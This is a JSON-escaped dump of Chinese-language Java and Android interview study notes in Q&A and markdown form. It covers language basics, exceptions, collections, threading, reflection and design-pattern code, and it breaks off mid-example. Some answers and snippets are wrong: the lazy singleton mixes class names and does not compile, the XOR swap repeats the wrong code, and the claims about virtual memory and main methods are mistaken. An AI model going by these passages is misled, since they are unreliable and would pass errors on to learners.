问题：静态类型有什么特点?\n\n答案：静态变量是和类绑定到一起的，而不是类的实例对象。每一个实例对象都共享同样一份静态变量。也就是说，一个类的静态变量只有一份，不管它有多少个对象。类变量或者说静态变量是通过static这个关键字来声明的。类变量通常被用作常量。静态变量通常通过类名字来进行访问。当程序运行的时候这个变量就会创建直到程序结束后才会被销毁。类变量的作用域和实例变量是一样的。它的初始值和成员变量也是一样的，当变量没被初始化的时候根据它的数据类型，会有一个默认值。类似的，静态方法是属于类的方法，而不是类对象，它的调用并不作用于类对象，也不需要创建任何的类实例。静态方法本身就是final的，因为重写只会发生在类实例上，静态方法是和类绑定在一起的，不是对象。父类的静态方法会被子类的静态方法屏蔽，只要原来方法没有声明为final。非静态方法不能重写静态方法，也就是说，你不能在子类中把一个静态方法改成实例方法。\n\n非静态变量在每一个对象实例上都有单独的一份值。\n\n### 问题：&操作符和&&操作符有什么区别?\n\n答案：当一个&表达式在求值的时候，两个操作数都会被求值，&&更像是一个操作符的快捷方式。当一个&&表达式求值的时候，先计算第一个操作数，如果它返回true才会计算第二个操作数。如果第一个操作数取值为fale,第二个操作数就不会被求值。\n\n### 问题：Java是如何处理整型的溢出和下溢的?\n\n答案：Java根据类型的大小，将计算结果中的对应低阶字节存储到对应的值里面。\n\n### 问题：public static void写成static public void会怎样？\n\n答案：程序正常编译及运行。\n\n### 问题，声明变量和定义变量有什么不同？\n\n答案：声明变量我们只提供变量的类型和名字，并没有进行初始化。定义包括声明和初始化两个阶段String s;只是变量声明，String s = new String(“bob”); 或者String s = “bob”;是变量定义。\n\n### 问题：Java支持哪种参数传递类型?\n\n答案：Java参数都是进行传值。对于对象而言，传递的值是对象的引用，也就是说原始引用和参数引用的那个拷贝，都是指向同一个对象。\n\n### 问题：对象封装的原则是什么?\n\n答案：封装是将数据及操作数据的代码绑定到一个独立的单元。这样保障了数据的安全，防止外部代码的错误使用。对象允许程序和数据进行封装，以减少潜在的干涉。对封装的另一个理解是作为数据及代码的保护层，防止保护层外代码的随意访问。\n\n### 问题：你怎么理解变量？\n\n答案：变量是一块命名的内存区域，以便程序进行访问。变量用来存储数据，随着程序的执行，存储的数据也可能跟着改变。\n\n### 问题：数值提升是什么?\n\n答案：数值提升是指数据从一个较小的数据类型转换成为一个更大的数据类型，以便进行整型或者浮点型运算。在数值提升的过程中，byte,char,short值会被转化成int类型。需要的时候int类型也可能被提升成long。long和float则有可能会被转换成double类型。\n\n### 问题：Java的类型转化是什么?\n\n答案：从一个数据类型转换成另一个数据类型叫做类型转换。Java有两种类型转换的方式，一个是显式的类型转换，一个是隐式的。\n\n### 问题：main方法的参数里面，字符串数组的第一个参数是什么?\n\n答案：数组是空的，没有任何元素。不像C或者C++，第一个元素默认是程序名。如果命令行没有提供任何参数的话，main方法中的String数组为空,但不是null。\n\n### 问题：怎么判断数组是null还是为空?\n\n答案：输出array.length的值，如果是0,说明数组为空。如果是null的话，会抛出空指针异常。\n\n### 问题：程序中可以允许多个类同时拥有都有main方法吗?\n\n答案：可以。当程序运行的时候，我们会指定运行的类名。JVM只会在你指定的类中查找main方法。因此多个类拥有main方法并不存在命名冲突的问题。\n\n### 问题：静态变量在什么时候加载？编译期还是运行期？静态代码块加载的时机呢？\n\n答案：当类加载器将类加载到JVM中的时候就会创建静态变量，这跟对象是否创建无关。静态变量加载的时候就会分配内存空间。静态代码块的代码只会在类第一次初始化的时候执行一次。一个类可以有多个静态代码块，它并不是类的成员，也没有返回值，并且不能直接调用。静态代码块不能包含this或者super,它们通常被用初始化静态变量。\n\n### 问题：一个类能拥有多个main方法吗？\n\n答案：可以，但只能有一个main方法拥有以下签名：\n\n```\npublic static void main(String[] args) {}\n```\n\n否则程序将无法通过编译。编译器会警告你main方法已经存在。\n\n### 问题：简单的介绍下JVM是如何工作的?\n\n答案：JVM是一台抽象的计算机，就像真实的计算机那样，它们会先将.java文件编译成.class文件（.class文件就是字节码文件）,然后用它的解释器来加载字节码。\n\n### 问题：如果原地交换两个变量的值？\n\n答案：先把两个值相加赋值给第一个变量，然后用得到的结果减去第二个变量，赋值给第二个变量。再用第一个变量减去第二个变量，同时赋值给第一个变量。代码如下：\n\n```\nint a=5,b=10;a=a+b; b=a-b; a=a-b;\n```\n\n使用异或操作也可以交换。第一个方法还可能会引起溢出。异或的方法如下： int a=5,b=10;a=a+b; b=a-b; a=a-b;\n\n```\nint a = 5; int b = 10;\na = a ^ b;\nb = a ^ b;\na = a ^ b;\n```\n\n### 问题：什么是数据的封装?\n\n答案：数据封装的一种方式是在类中创建set和get方法来访问对象的数据变量。一般来说变量是private的，而get和set方法是public的。封装还可以用来在存储数据时进行数据验证，或者对数据进行计算，或者用作自省（比如在struts中使用javabean）。把数据和功能封装到一个独立的结构中称为数据封装。封装其实就是把数据和关联的操作方法封装到一个独立的单元中，这样使用关联的这些方法才能对数据进行访问操作。封装提供的是数据安全性,它其实就是一种隐藏数据的方式。\n\n### 问题：什么是反射API？它是如何实现的？\n\n答案：反射是指在运行时能查看一个类的状态及特征，并能进行动态管理的功能。这些功能是通过一些内建类的反射API提供的，比如Class,Method,Field, Constructors等。使用的例子：使用Java反射API的getName方法可以获取到类名。\n\n### 问题：JVM自身会维护缓存吗，是不是在堆中进行对象分配，操作系统的堆还是JVM自己管理的堆？为什么？\n\n答案：是的，JVM自身会管理缓存，它在堆中创建对象，然后在栈中引用这些对象。\n\n### 问题：虚拟内存是什么?\n\n答案：虚拟内存又叫延伸内存，实际上并不存在真实的物理内存。\n\n### 问题：方法可以同时即是static又是synchronized的吗?\n\n答案：可以。如果这样做的话，JVM会获取和这个对象关联的java.lang.Class实例上的锁。这样做等于：\n\n```\nsynchronized(XYZ.class) {\n}\n```\n\n### 问题：String和StringTokenizer的区别是什么？\n\n答案：StringTokenizer是一个用来分割字符串的工具类。\n\n```\nStringTokenizer st = new StringTokenizer(”Hello World”);\nwhile (st.hasMoreTokens()) {\n    System.out.println(st.nextToken());\n}\n```\n\n输出：\n\n```\nHello\nWorld\n```\n\n### 问题：transient变量有什么特点?\n\n答案：transient变量不会进行序列化。例如一个实现Serializable接口的类在序列化到ObjectStream的时候，transient类型的变量不会被写入流中，同时，反序列化回来的时候，对应变量的值为null。\n\n### 问题：哪些容器使用Border布局作为它们的默认布局?\n\n答案：Window, Frame, Dialog。\n\n### 问题：怎么理解什么是同步?\n\n答案：同步用来控制共享资源在多个线程间的访问，以保证同一时间内只有一个线程能访问到这个资源。在非同步保护的多线程程序里面，一个线程正在修改一个共享变量的时候，可能有另一个线程也在使用或者更新它的值。同步避免了脏数据的产生。\n\n对方法进行同步：\n\n```\npublic synchronized void Method1 () {\n// Appropriate method-related code.\n}\n```\n\n在方法内部对代码块进行同步：\n\n```\npublic myFunction (){\n    synchronized (this) {\n            // Synchronized code here.\n         }\n}\n```"
  },
  {
    "path": "docs/android/Android-Interview/Java/J2SE基础面试核心内容.md",
    "content": "有人可能会问对于我们学Android的同学来讲，面试还会问Java基础吗？答案是会的，但是不会太多，因此我给了两颗星的重要程度。一般笔试的时候出现java基础题的概率比较大，口头面试的时候比较少，比如自己在面试的时候一些对基础知识比较看重的面试官会深究着Java基础去问，比如问你异常的类型以及处理方式，集合的体系结构等等。\n\n# 1. Java面向对象思想\n\n## 面向对象都有哪些特性以及你对这些特性的理解\n\n\n继承：继承是从已有类得到继承信息创建新类的过程。提供继承信息的类被称为父类（超类、基类）；得到继承信息的类被称为子类（派生类）。继承让变化中的软件系统有了一定的延续性，同时继承也是封装程序中可变因素的重要手段。\n\n封装：通常认为封装是把数据和操作数据的方法绑定起来，对数据的访问只能通过已定义的接口。面向对象的本质就是将现实世界描绘成一系列完全自治、封闭的对象。我们在类中编写的方法就是对实现细节的一种封装；我们编写一个类就是对数据和数据操作的封装。可以说，封装就是隐藏一切可隐藏的东西，只向外界提供最简单的编程接口。\n\n多态：多态性是指允许不同子类型的对象对同一消息作出不同的响应。简单的说就是用同样的对象引用调用同样的方法但是做了不同的事情。多态性分为编译时的多态性和运行时的多态性。如果将对象的方法视为对象向外界提供的服务，那么运行时的多态性可以解释为：当A系统访问B系统提供的服务时，B系统有多种提供服务的方式，但一切对A系统来说都是透明的。方法重载（overload）实现的是编译时的多态性（也称为前绑定），而方法重写（override）实现的是运行时的多态性（也称为后绑定）。运行时的多态是面向对象最精髓的东西，要实现多态需要做两件事：\n\n- 方法重写（子类继承父类并重写父类中已有的或抽象的方法）\n- 对象造型（用父类型引用引用子类型对象，这样同样的引用调用同样的方法就会根据子类对象的不同而表现出不同的行为）\n\n抽象：抽象是将一类对象的共同特征总结出来构造类的过程，包括数据抽象和行为抽象两方面。抽象只关注对象有哪些属性和行为，并不关注这些行为的细节是什么。\n\n# 2. Java中的多态\n\n## Java中实现多态的机制是什么？\n\n靠的是父类或接口定义的引用变量可以指向子类或具体实现类的实例对象，而程序调用的方法在运行期才动态绑定，就是引用变量所指向的具体实例对象的方法，也就是内存里正在运行的那个对象的方法，而不是引用变量的类型中定义的方法。\n\n# 3. Java的异常处理\n\n## 3.1 Java中异常分为哪些种类\n\n按照异常需要处理的时机分为编译时异常也叫CheckedException和运行时异常也叫RuntimeException。只有java语言提供了Checked异常，Java认为Checked异常都是可以被处理的异常，所以Java程序必须显式处理Checked异常。如果程序没有处理Checked异常，该程序在编译时就会发生错误无法编译。这体现了Java的设计哲学：没有完善错误处理的代码根本没有机会被执行。对Checked异常处理方法有两种：\n\n- 当前方法知道如何处理该异常，则用try...catch块来处理该异常。\n\n- 当前方法不知道如何处理，则在定义该方法是声明抛出该异常。\n\n运行时异常只有当代码在运行时才发行的异常，编译时不需要try、catch。Runtime如除数是0和数组下标越界等，其产生频繁，处理麻烦，若显示申明或者捕获将会对程序的可读性和运行效率影响很大。所以由系统自动检测并将它们交给缺省的异常处理程序。当然如果你有处理要求也可以显示捕获它们。\n\n## 3.2 调用下面的方法，得到的返回值是什么\n\n```java\npublic int getNum(){\n     try {\n        int a = 1/0;\n        return 1;\n    } catch (Exception e) {\n        return 2;\n    } finally{\n        return 3;\n    }\n}\n```\n代码在走到第3行的时候遇到了一个MathException，这时第四行的代码就不会执行了，代码直接跳转到catch语句中，走到第6行的时候，异常机制有这么一个原则如果在catch中遇到了return或者异常等能使该函数终止的话那么用finally就必须先执行完finally代码块里面的代码然后再返回值。因此代码又跳到第8行，可惜第8行是一个return语句，那么这个时候方法就结束了，因此第6行的返回结果就无法被真正返回。如果finally仅仅是处理了一个释放资源的操作，那么该道题最终返回的结果就是2。\n\n因此上面返回值是3。\n\n# 4. Java的数据类型\n\n## 4.1 Java的基本数据类型都有哪些各占几个字节？     \n\nJava有8种基本数据类型\n\n| 数据类型    | 字节数  |\n| :------ | :--- |\n| byte    | 1    |\n| char    | 2    |\n| short   | 2    |\n| int     | 4    |\n| float   | 4    |\n| double  | 8    |\n| long    | 8    |\n| boolean | 1    |\n\nPS：boolean类型比较特别可能只占一个bit，多个boolean可能共同占用一个字节\n\n## 4.2 String是基本数据类型吗？可以被继承吗？\n\nString是引用类型，底层用char数组实现的。因为String是final类，在java中被final修饰的类不能被继承，因此String当然不可以被继承。\n\n# 5. Java的IO\n\n# 5.1 Java中有几种类型的流\n\n字节流和字符流。字节流继承于InputStream和OutputStream，字符流继承于InputStreamReader 和OutputStreamWriter。\n\n## 5.2 字节流如何转为字符流\n\n字节输入流转字符输入流通过InputStreamReader实现，该类的构造函数可以传入InputStream对象。\n\n字节输出流转字符输出流通过OutputStreamWriter实现，该类的构造函数可以传入OutputStream对象。\n\n## 5.3 如何将一个java对象序列化到文件里？\n\n在java中能够被序列化的类必须先实现Serializable接口，该接口没有任何抽象方法只是起到一个标记作用。\n\n```java\n//对象输出流\nObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File(\"D://obj\")));\nobjectOutputStream.writeObject(new User(\"zhangsan\", 100));\nobjectOutputStream.close();\n//对象输入流\nObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File(\"D://obj\")));\nUser user = (User)objectInputStream.readObject();\nSystem.out.println(user);\nobjectInputStream.close();\n```\n\n# 6. Java的集合\n\n## 6.1 HashMap排序题，上机题。(本人主要靠这道题入职的第一家公司)\n\n已知一个HashMap\\<Integer，User>集合， User有name（String）和age（int）属性。请写一个方法实现对HashMap的排序功能，该方法接收HashMap\\<Integer，User>为形参，返回类型为HashMap\\<Integer，User>，要求对HashMap中的User的age倒序进行排序。排序时key=value键值对不得拆散。\n\n要做出这道题必须对集合的体系结构非常的熟悉。HashMap本身就是不可排序的，但是该道题偏偏让给HashMap排序，那我们就得想在API中有没有这样的Map结构是有序的，LinkedHashMap，对的，就是他，他是Map结构，也是链表结构，有序的，更可喜的是他是HashMap的子类，我们返回LinkedHashMap\\<Integer,User>即可，还符合面向接口（父类编程的思想）。但凡是对集合的操作，我们应该保持一个原则就是能用JDK中的API就有JDK中的API，比如排序算法我们不应该去用冒泡或者选择，而是首先想到用Collections集合工具类。\n\n```java\npublic class HashMapTest {\n        public static void main(String[] args) {\n                HashMap<Integer, User> users = new HashMap<>();\n                users.put(1, new User(\"张三\", 25));\n                users.put(3, new User(\"李四\", 22));\n                users.put(2, new User(\"王五\", 28));\n                System.out.println(users);\n                HashMap<Integer,User> sortHashMap = sortHashMap(users);\n                System.out.println(sortHashMap);\n                 /\n                  * 控制台输出内容\n                  * {1=User [name=张三, age=25], 2=User [name=王五, age=28], 3=User [name=李四, age=22]}\n                  *  {2=User [name=王五, age=28], 1=User [name=张三, age=25], 3=User [name=李四, age=22]}\n                  */\n         }\n\n         public static HashMap<Integer, User> sortHashMap(HashMap<Integer, User> map) {\n                 // 首先拿到map的键值对集合\n                 Set<Entry<Integer, User>> entrySet = map.entrySet();\n\n                 // 将set集合转为List集合，为什么，为了使用工具类的排序方法\n                 List<Entry<Integer, User>> list = new ArrayList<Entry<Integer, User>>(entrySet);\n                 // 使用Collections集合工具类对list进行排序，排序规则使用匿名内部类来实现\n                 Collections.sort(list, new Comparator<Entry<Integer, User>>() {\n                         @Override\n                         public int compare(Entry<Integer, User> o1, Entry<Integer, User> o2) {\n                                 //按照要求根据User的age的倒序进行排\n                                 return o2.getValue().getAge()-o1.getValue().getAge();\n                         }\n                 });\n                 //创建一个新的有序的HashMap子类的集合\n                 LinkedHashMap<Integer, User> linkedHashMap = new LinkedHashMap<Integer, User>();\n                 //将List中的数据存储在LinkedHashMap中\n                 for(Entry<Integer, User> entry : list){\n                         linkedHashMap.put(entry.getKey(), entry.getValue());\n                 }\n                 //返回结果\n                 return linkedHashMap;\n         }\n }\n```\n\n## 6.2 集合的安全性问题\n\n请问ArrayList、HashSet、HashMap是线程安全的吗？如果不是我想要线程安全的集合怎么办？\n\n我们都看过上面那些集合的源码（如果没有那就看看吧），每个方法都没有加锁，显然都是线程不安全的。话又说过来如果他们安全了也就没第二问了。\n\n在集合中Vector和HashTable倒是线程安全的。你打开源码会发现其实就是把各自核心方法添加上了synchronized关键字。Collections工具类提供了相关的API，可以让上面那3个不安全的集合变为安全的。\n\n```java\nCollections.synchronizedCollection(c);\nCollections.synchronizedList(list);\nCollections.synchronizedMap(m);\nCollections.synchronizedSet(s);\n```\n\n上面几个函数都有对应的返回值类型，传入什么类型返回什么类型。打开源码其实实现原理非常简单，就是将集合的核心方法添加上了synchronized关键字。\n\n# 7. Java的多线程\n\n## 7.1 多线程的两种创建方式\n\njava.lang.Thread 类的实例就是一个线程但是它需要调用java.lang.Runnable接口来执行，由于线程类本身就是调用的Runnable接口所以你可以继承java.lang.Thread 类或者直接实现Runnable接口来重写run()方法实现线程。\n\n## 7.2 在java中wait和sleep方法的不同？\n\n\n最大的不同是在等待时wait会释放锁，而sleep一直持有锁。wait通常被用于线程间交互，sleep通常被用于暂停执行。\n\n## 7.3 synchronized和volatile关键字的作用\n\n一旦一个共享变量（类的成员变量、类的静态成员变量）被volatile修饰之后，那么就具备了两层语义：\n\n- 保证了不同线程对这个变量进行操作时的可见性，即一个线程修改了某个变量的值，这新值对其他线程来说是立即可见的。\n\n- 禁止进行指令重排序。\n\nvolatile本质是在告诉jvm当前变量在寄存器（工作内存）中的值是不确定的，需要从主存中读取；\n\nsynchronized则是锁定当前变量，只有当前线程可以访问该变量，其他线程被阻塞住。\n\n- volatile仅能使用在变量级别；synchronized则可以使用在变量、方法、和类级别的\n- volatile仅能实现变量的修改可见性，并不能保证原子性；synchronized则可以保证变量的修改可见性和原子性\n- volatile不会造成线程的阻塞；synchronized可能会造成线程的阻塞。\n- volatile标记的变量不会被编译器优化；synchronized标记的变量可以被编译器优化\n\n## 7.4 分析代码解释原因\n\n```java\npublic class Counter {\n        private volatile int count = 0;\n        public void inc(){\n                try {\n                        Thread.sleep(3);\n                } catch (InterruptedException e) {\n                        e.printStackTrace();\n                }\n                count++;\n        }\n        @Override\n        public String toString() {\n                return \"[count=\" + count + \"]\";\n        }\n}        \npublic class VolatileTest {\n        public static void main(String[] args) {\n                final Counter counter = new Counter();\n                for(int i=0;i<1000;i++){\n                        new Thread(new Runnable() {\n                                @Override\n                                public void run() {\n                                        counter.inc();\n                                }\n                        }).start();\n                }\n                System.out.println(counter);\n        }\n}\n```\n上面的代码执行完后输出的结果确定为1000吗？   \n\n答案是不一定，或者不等于1000。这是为什么吗？       \n\n在 java 的内存模型中每一个线程运行时都有一个线程栈，线程栈保存了线程运行时候变量值信息。当线程访问某一个对象时候值的时候，首先通过对象的引用找到对应在堆内存的变量的值，然后把堆内存变量的具体值load到线程本地内存中，建立一个变量副本，之后线程就不再和对象在堆内存变量值有任何关系，而是直接修改副本变量的值，在修改完之后的某一个时刻（线程退出之前），自动把线程变量副本的值回写到对象在堆中变量。这样在堆中的对象的值就产生变化了。也就是说上面主函数中开启了1000个子线程，每个线程都有一个变量副本，每个线程修改变量只是临时修改了自己的副本，当线程结束时再将修改的值写入在主内存中，这样就出现了线程安全问题。因此结果就不可能等于1000了，一般都会小于1000。\n\n上面的解释用一张图表示如下：\n\n![img](img/java内存模型.jpg)\n\n## 7.5 什么是线程池，如何使用？\n\n线程池就是事先将多个线程对象放到一个容器中，当使用的时候就不用new线程而是直接去池中拿线程即可，节省了开辟子线程的时间，提高的代码执行效率。\n\n```java\nExecutorService newCachedThreadPool = Executors.newCachedThreadPool();\nExecutorService newFixedThreadPool = Executors.newFixedThreadPool(4);\nScheduledExecutorService newScheduledThreadPool = Executors.newScheduledThreadPool(4);\nExecutorService newSingleThreadExecutor = Executors.newSingleThreadExecutor();\n```\n\n在JDK的java.util.concurrent.Executors中提供了生成多种线程池的静态方法。然后调用他们的execute方法即可。\n"
  },
  {
    "path": "docs/android/Android-Interview/Java/J2SE高级面试核心内容.md",
    "content": "# 1. Java中的反射\n\n## 1.1 说说你对Java中反射的理解\n\nJava中的反射首先是能够获取到Java中要反射类的字节码，获取字节码有三种方法\n\n- Class.forName(className)\n- 类名.class\n- this.getClass()\n\n然后将字节码中的方法，变量，构造函数等映射成相应的Method、Filed、Constructor等类，这些类提供了丰富的方法可以被我们所使用。\n\n# 2. Java中的动态代理\n\n## 2.1 写一个ArrayList的动态代理类（笔试题）\n\n```java\nfinal List<String> list = new ArrayList<String>();\nList<String> proxyInstance = (List<String>) Proxy.newProxyInstance(list.getClass().getClassLoader(),\n        list.getClass().getInterfaces(), new InvocationHandler() {\n                    @Override\n                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n                            return method.invoke(list, args);\n                    }\n            }\n);\nproxyInstance.add(\"你好\");\nSystem.out.println(list);\n```\n\n## 3. Java中的设计模式\n\n## 3.1 你所知道的设计模式有哪些             \n\nJava中一般认为有23种设计模式，我们不需要所有的都会，但是其中常用的几种设计模式应该去掌握。下面列出了所有的设计模式。需要掌握的设计模式我单独列出来了，当然能掌握的越多越好。\n\n总体来说设计模式分为三大类：\n\n- 创建型模式，共五种：工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式\n- 结构型模式，共七种：适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式\n- 行为型模式，共十一种：策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式\n\n## 3.2 单例设计模式\n\n最好理解的一种设计模式，分为懒汉式和饿汉式。\n\n### 3.2.1 饿汉式\n\n```java\npublic class Singleton {\n        // 直接创建对象\n        public static Singleton instance = new Singleton();\n\n        // 私有化构造函数\n        private Singleton() {\n        }\n\n        // 返回对象实例\n        public static Singleton getInstance() {\n                return instance;\n        }\n}\n```\n### 3.2.2 懒汉式\n\n```java\npublic class Singleton {\n        // 声明变量\n        private static volatile Singleton singleton2 = null;\n\n        // 私有构造函数\n        private Singleton2() {\n        }\n\n        // 提供对外方法\n        public static Singleton2 getInstance() {\n                if (singleton2 == null) {\n                        synchronized (Singleton2.class) {\n                                if (singleton == null) {\n                                        singleton = new Singleton();\n                                }\n                        }\n                }\n                return singleton;\n        }\n}\n```\n## 3.3 工厂设计模式\n\n工厂模式分为工厂方法模式和抽象工厂模式。工厂方法模式分为三种       \n\n- 普通工厂模式，就是建立一个工厂类，对实现了同一接口的一些类进行实例的创建       \n- 多个工厂方法模式，是对普通工厂方法模式的改进，在普通工厂方法模式中，如果传递的字符串出错，则不能正确创建对象，而多个工厂方法模式是提供多个工厂方法，分别创建对象\n- 静态工厂方法模式，将上面的多个工厂方法模式里的方法置为静态的，不需要创建实例，直接调用即可\n\n### 普通工厂模式\n\n```java\npublic interface Sender {\n        public void Send();\n}\npublic class MailSender implements Sender {\n\n        @Override\n        public void Send() {\n                System.out.println(\"this is mail sender!\");\n        }\n}\npublic class SmsSender implements Sender {\n\n        @Override\n        public void Send() {\n                System.out.println(\"this is sms sender!\");\n        }\n}\npublic class SendFactory {\n        public Sender produce(String type) {\n                if (\"mail\".equals(type)) {\n                        return new MailSender();\n                } else if (\"sms\".equals(type)) {\n                        return new SmsSender();\n                } else {\n                        System.out.println(\"请输入正确的类型!\");\n                        return null;\n                }\n        }\n}\n```\n### 多个工厂方法模式\n\n该模式是对普通工厂方法模式的改进，在普通工厂方法模式中，如果传递的字符串出错，则不能正确创建对象，而多个工厂方法模式是提供多个工厂方法，分别创建对象。\n```java\npublic class SendFactory {\n        public Sender produceMail(){  \n        return new MailSender();  \n    }  \n\n    public Sender produceSms(){  \n        return new SmsSender();  \n    }  \n}  \n\npublic class FactoryTest {\n        public static void main(String[] args) {\n                SendFactory factory = new SendFactory();\n                Sender sender = factory.produceMail();\n                sender.send();\n        }\n}\n```\n静态工厂方法模式，将上面的多个工厂方法模式里的方法置为静态的，不需要创建实例，直接调用即可。\n```java\npublic class SendFactory {\n        public static Sender produceMail(){  \n        return new MailSender();  \n    }  \n\n    public static Sender produceSms(){  \n        return new SmsSender();  \n    }  \n}  \n\n\npublic class FactoryTest {\n        public static void main(String[] args) {\n                Sender sender = SendFactory.produceMail();\n                sender.send();\n        }\n}\n```\n### 抽象工厂模式\n\n工厂方法模式有一个问题就是，类的创建依赖工厂类，也就是说，如果想要拓展程序，必须对工厂类进行修改，这违背了闭包原则，所以，从设计角度考虑，有一定的问题，如何解决？就用到抽象工厂模式，创建多个工厂类，这样一旦需要增加新的功能，直接增加新的工厂类就可以了，不需要修改之前的代码。\n\n```java\npublic interface Provider {\n        public Sender produce();\n}\n\npublic interface Sender {\n        public void send();\n}\n\npublic class MailSender implements Sender {\n\n        @Override\n        public void send() {\n                System.out.println(\"this is mail sender!\");\n        }\n}\n\npublic class SmsSender implements Sender {\n\n        @Override\n        public void send() {\n                System.out.println(\"this is sms sender!\");\n        }\n}\n\npublic class SendSmsFactory implements Provider {\n\n        @Override\n        public Sender produce() {\n                return new SmsSender();\n        }\n}\npublic class SendMailFactory implements Provider {\n\n        @Override\n        public Sender produce() {\n                return new MailSender();\n        }\n}\n\npublic class Test {\n        public static void main(String[] args) {\n                Provider provider = new SendMailFactory();\n                Sender sender = provider.produce();\n                sender.send();\n        }\n}\n```\n## 3.4 建造者模式（Builder）\n\n工厂类模式提供的是创建单个类的模式，而建造者模式则是将各种产品集中起来进行管理，用来创建复合对象，所谓复合对象就是指某个类具有不同的属性，其实建造者模式就是前面抽象工厂模式和最后的Test结合起来得到的。\n```java\npublic class Builder {\n        private List<Sender> list = new ArrayList<Sender>();\n\n        public void produceMailSender(int count) {\n                for (int i = 0; i < count; i++) {\n                        list.add(new MailSender());\n                }\n        }\n\n        public void produceSmsSender(int count) {\n                for (int i = 0; i < count; i++) {\n                        list.add(new SmsSender());\n                }\n        }\n}\n\npublic class TestBuilder {\n        public static void main(String[] args) {\n                Builder builder = new Builder();\n                builder.produceMailSender(10);\n        }\n}\n```\n## 3.5 适配器设计模式       \n\n适配器模式将某个类的接口转换成客户端期望的另一个接口表示，目的是消除由于接口不匹配所造成的类的兼容性问题。主要分为三类：类的适配器模式、对象的适配器模式、接口的适配器模式。\n\n### 类的适配器模式\n\n```java\npublic class Source {\n        public void method1() {\n                System.out.println(\"this is original method!\");\n        }\n}\n\npublic interface Targetable {\n        /* 与原类中的方法相同 */\n        public void method1();\n        /* 新类的方法 */\n        public void method2();\n}\n\npublic class Adapter extends Source implements Targetable {\n        @Override\n        public void method2() {\n                System.out.println(\"this is the targetable method!\");\n        }\n}\n\npublic class AdapterTest {\n        public static void main(String[] args) {\n                Targetable target = new Adapter();\n                target.method1();\n                target.method2();\n        }\n}\n```\n\n### 对象的适配器模式\n\n基本思路和类的适配器模式相同，只是将Adapter类作修改，这次不继承Source类，而是持有Source类的实例，以达到解决兼容性的问题。\n\n```java\npublic class Wrapper implements Targetable {\n        private Source source;\n\n        public Wrapper(Source source) {\n                super();\n                this.source = source;\n        }\n\n        @Override\n        public void method2() {\n                System.out.println(\"this is the targetable method!\");\n        }\n\n        @Override\n        public void method1() {\n                source.method1();\n        }\n}\n\npublic class AdapterTest {                    \n    public static void main(String[] args) {  \n        Source source = new Source();  \n        Targetable target = new Wrapper(source);  \n        target.method1();  \n        target.method2();  \n    }  \n}\n```\n### 接口的适配器模式\n\n接口的适配器是这样的：有时我们写的一个接口中有多个抽象方法，当我们写该接口的实现类时，必须实现该接口的所有方法，这明显有时比较浪费，因为并不是所有的方法都是我们需要的，有时只需要某一些，此处为了解决这个问题，我们引入了接口的适配器模式，借助于一个抽象类，该抽象类实现了该接口，实现了所有的方法，而我们不和原始的接口打交道，只和该抽象类取得联系，所以我们写一个类，继承该抽象类，重写我们需要的方法就行。\n\n## 3.6 装饰模式（Decorator）\n\n顾名思义，装饰模式就是给一个对象增加一些新的功能，而且是动态的，要求装饰对象和被装饰对象实现同一个接口，装饰对象持有被装饰对象的实例。\n\n```java\npublic interface Sourceable {\n        public void method();\n}\n\npublic class Source implements Sourceable {\n        @Override\n        public void method() {\n                System.out.println(\"the original method!\");\n        }\n}\n\npublic class Decorator implements Sourceable {\n        private Sourceable source;\n        public Decorator(Sourceable source) {\n                super();\n                this.source = source;\n        }\n\n        @Override\n        public void method() {\n                System.out.println(\"before decorator!\");\n                source.method();\n                System.out.println(\"after decorator!\");\n        }\n}\n\npublic class DecoratorTest {\n        public static void main(String[] args) {\n                Sourceable source = new Source();\n                Sourceable obj = new Decorator(source);\n                obj.method();\n        }\n}\n```\n## 3.7 策略模式（strategy）       \n\n策略模式定义了一系列算法，并将每个算法封装起来，使他们可以相互替换，且算法的变化不会影响到使用算法的客户。需要设计一个接口，为一系列实现类提供统一的方法，多个实现类实现该接口，设计一个抽象类（可有可无，属于辅助类），提供辅助函数。策略模式的决定权在用户，系统本身提供不同算法的实现，新增或者删除算法，对各种算法做封装。因此，策略模式多用在算法决策系统中，外部用户只需要决定用哪个算法即可。\n\n```java\npublic interface ICalculator {\n        public int calculate(String exp);\n}\n\npublic class Minus extends AbstractCalculator implements ICalculator {\n\n        @Override\n        public int calculate(String exp) {\n                int arrayInt[] = split(exp, \"-\");\n                return arrayInt[0] - arrayInt[1];\n        }\n}\n\npublic class Plus extends AbstractCalculator implements ICalculator {\n\n        @Override\n        public int calculate(String exp) {\n                int arrayInt[] = split(exp, \"\\\\+\");\n                return arrayInt[0] + arrayInt[1];\n        }\n}\n\npublic class AbstractCalculator {\n        public int[] split(String exp, String opt) {\n                String array[] = exp.split(opt);\n                int arrayInt[] = new int[2];\n                arrayInt[0] = Integer.parseInt(array[0]);\n                arrayInt[1] = Integer.parseInt(array[1]);\n                return arrayInt;\n        }\n}\n\npublic class StrategyTest {\n        public static void main(String[] args) {\n                String exp = \"2+8\";\n                ICalculator cal = new Plus();\n                int result = cal.calculate(exp);\n                System.out.println(result);\n        }\n}\n```\n## 3.8 观察者模式（Observer）\n\n观察者模式很好理解，类似于邮件订阅和RSS订阅，当我们浏览一些博客或wiki时，经常会看到RSS图标，就这的意思是，当你订阅了该文章，如果后续有更新，会及时通知你。其实，简单来讲就一句话：当一个对象变化时，其它依赖该对象的对象都会收到通知，并且随着变化！对象之间是一种一对多的关系。\n```java\npublic interface Observer {\n        public void update();\n}\n\npublic class Observer1 implements Observer {\n        @Override\n        public void update() {\n                 System.out.println(\"observer1 has received!\");  \n        }\n}\n\npublic class Observer2 implements Observer {\n        @Override\n        public void update() {\n                 System.out.println(\"observer2 has received!\");  \n        }\n}\n\npublic interface Subject {\n         /*增加观察者*/  \n    public void add(Observer observer);  \n\n    /*删除观察者*/  \n    public void del(Observer observer);\n    /*通知所有的观察者*/  \n    public void notifyObservers();  \n\n    /*自身的操作*/  \n    public void operation();\n}\n\npublic abstract class AbstractSubject implements Subject {\n\n        private Vector<Observer> vector = new Vector<Observer>();\n\n        @Override\n        public void add(Observer observer) {\n                vector.add(observer);\n        }\n\n        @Override\n        public void del(Observer observer) {\n                vector.remove(observer);\n        }\n\n        @Override\n        public void notifyObservers() {\n                Enumeration<Observer> 